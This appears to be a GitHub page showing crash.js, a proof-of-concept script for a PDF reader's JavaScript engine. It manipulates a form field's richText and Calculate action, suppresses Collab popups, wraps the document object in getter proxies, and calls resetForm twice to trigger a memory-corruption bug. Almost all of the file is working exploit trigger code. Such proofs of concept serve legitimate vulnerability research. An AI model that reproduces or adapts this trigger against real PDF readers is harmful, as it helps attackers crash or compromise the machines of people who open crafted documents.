-
Notifications
You must be signed in to change notification settings - Fork 60
/
crash.js
55 lines (45 loc) · 1.06 KB
/
crash.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
console.show();
var chunks = [];
var bufs = [];
var arrs = [];
function PropAccClosure(obj, prop) {
obj = obj;
prop = prop;
return function () {
return obj[prop];
};
}
console.println("[*] triggering bug...");
var f0 = this.getField("testfield");
f0.richText = true;
f0.setAction("Calculate", "callback0()");
// override popups
try {
Object.defineProperty(this["Collab"], "defaultStore", { enumerable: false });
} catch (e) {}
var mythis = {};
for (var k in this) {
if (k == "URL" || k == "bookmarkRoot" || k == "ptrs" || k == "arrs" || k == "bufs") continue;
mythis[k] = 0;
mythis.__defineGetter__(k, PropAccClosure(this, k));
}
event.target = mythis;
f0.__defineGetter__("doc", function () {
return mythis;
});
// trigger bug
try {
this.resetForm();
} catch (e) {}
try {
this.resetForm();
} catch (e) {}
function callback0() {
event.__defineGetter__("target", func_0);
event.richValue = mythis;
}
function func_0() {
try {
Object.defineProperty(f0, "textFont", { value: this });
} catch (e) {}
}